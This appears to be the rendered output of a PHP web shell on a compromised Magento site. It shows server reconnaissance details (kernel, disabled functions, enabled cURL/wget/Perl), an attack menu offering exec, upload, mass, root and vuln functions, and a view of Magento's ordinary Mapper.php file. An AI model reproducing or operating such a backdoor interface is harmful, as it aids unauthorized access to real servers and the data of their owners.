Kernel : Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
Disable function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Safe mode : OFF
Host : diestoffstrasse.com | Server ip : 127.0.0.1 | Your ip : 127.0.0.1 | Time @ Server : 23 Aug 2025 16:36:41
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/dev2.destoffenstraat.com/vendor-1/magento/framework/DataObject/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/dev2.destoffenstraat.com/vendor-1/magento/framework/DataObject/Mapper.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\DataObject; /** * Utility class for mapping data between objects or arrays * * @SuppressWarnings(PHPMD.CyclomaticComplexity) * @SuppressWarnings(PHPMD.NPathComplexity) */ class Mapper { /** * Convert data from source to target item using map array * * Will get or set data with generic or magic, or specified Magento Object methods, or with array keys * from or to \Magento\Framework\DataObject or array * :) * * Map must either be associative array of keys from=>to * or a numeric array of keys, assuming from = to * * Defaults must be assoc array of keys => values. Target will get default, if the value is not present in source * If the source has getter defined instead of magic method, the value will be taken only if not empty * * Callbacks explanation (when $from or $to is not array): * for $from: * <\Magento\Framework\DataObject> => $from->getData($key) (default) * array(<\Magento\Framework\DataObject>, <method>) => $from->$method($key) * for $to (makes sense only for \Magento\Framework\DataObject): * <\Magento\Framework\DataObject> => $from->setData($key, <from>) * array(<\Magento\Framework\DataObject>, <method>) => $from->$method($key, <from>) * * @param array|\Magento\Framework\DataObject|callable $from * @param array|\Magento\Framework\DataObject|callable $to * @param array $map * @param array $defaults * @return array|object */ public static function &accumulateByMap($from, $to, array $map, array $defaults = []) { $get = 'getData'; if (is_array( $from ) && isset( $from[0] ) && is_object( $from[0] ) && isset( $from[1] ) && is_string( $from[1] ) && is_callable( $from ) ) { list($from, $get) = $from; } $fromIsArray = is_array($from); $fromIsVO = $from instanceof \Magento\Framework\DataObject; $set = 'setData'; if (is_array( $to ) && isset( $to[0] ) && is_object( $to[0] ) && isset( $to[1] ) && is_string( $to[1] ) && is_callable( $to ) ) { list($to, $set) = $to; } $toIsArray = is_array($to); $toIsVO = $to instanceof \Magento\Framework\DataObject; foreach ($map as $keyFrom => $keyTo) { if (!is_string($keyFrom)) { $keyFrom = $keyTo; } if ($fromIsArray) { if (array_key_exists($keyFrom, $from)) { if ($toIsArray) { $to[$keyTo] = $from[$keyFrom]; } elseif ($toIsVO) { $to->{$set}($keyTo, $from[$keyFrom]); } } } elseif ($fromIsVO) { // get value if (any) value is found as in magic data or a non-empty value with declared getter $value = null; if ($shouldGet = $from->hasData($keyFrom)) { $value = $from->{$get}($keyFrom); } elseif (method_exists($from, $get)) { $value = $from->{$get}($keyFrom); if ($value) { $shouldGet = true; } } if ($shouldGet) { if ($toIsArray) { $to[$keyTo] = $value; } elseif ($toIsVO) { $to->{$set}($keyTo, $value); } } } } foreach ($defaults as $keyTo => $value) { if ($toIsArray) { if (!isset($to[$keyTo])) { $to[$keyTo] = $value; } } elseif ($toIsVO) { if (!$to->hasData($keyTo)) { $to->{$set}($keyTo, $value); } } } return $to; } }